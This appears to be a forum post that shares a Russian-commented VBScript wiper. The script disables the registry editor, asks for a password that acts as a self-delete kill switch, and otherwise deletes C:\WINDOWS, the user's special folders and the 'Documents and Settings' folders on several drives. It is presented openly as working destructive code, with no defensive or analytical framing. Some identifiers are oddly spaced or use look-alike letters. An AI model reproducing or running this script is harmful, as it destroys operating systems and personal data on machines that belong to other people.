= = = = = = = > HDSDFAUYDAFS< = = = = = = =
' Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("scripting.filesystemobject ")
Set Shell = CreateObject("Wscript.Shell")
t = 0: оn Error Resume Next ' Пропускать ошибки
Set Applicatiоn = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.A pplication")
Set Outlook = WScript.CreateObject("Outlook.Applicatio n")
Application.MinimizeAll
Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WI NDOWS\CURRENTVERSION\POLICIES\SYSTEM\Dis ableRegistryTools", 1, "REG_DWORD"
prl = inputbox("Введи пароль", "Запрос")
If prl = "Xak" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit
str = "C:\WINDOWS"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If
For Each Folder In Shell.SpecialFolders
FileSystemObject.deletefolder folder,True
Next
FileSystemObject.deletefolder"C:\Documen ts and Settings",True
FileSystemObject.deletefolder"D:\Documen ts and Settings",True
FileSystemObject.deletefolder"E:\Documen ts and Settings",True
Кто хоть немного скрипты знает поймёт
 | 
Линейный вид
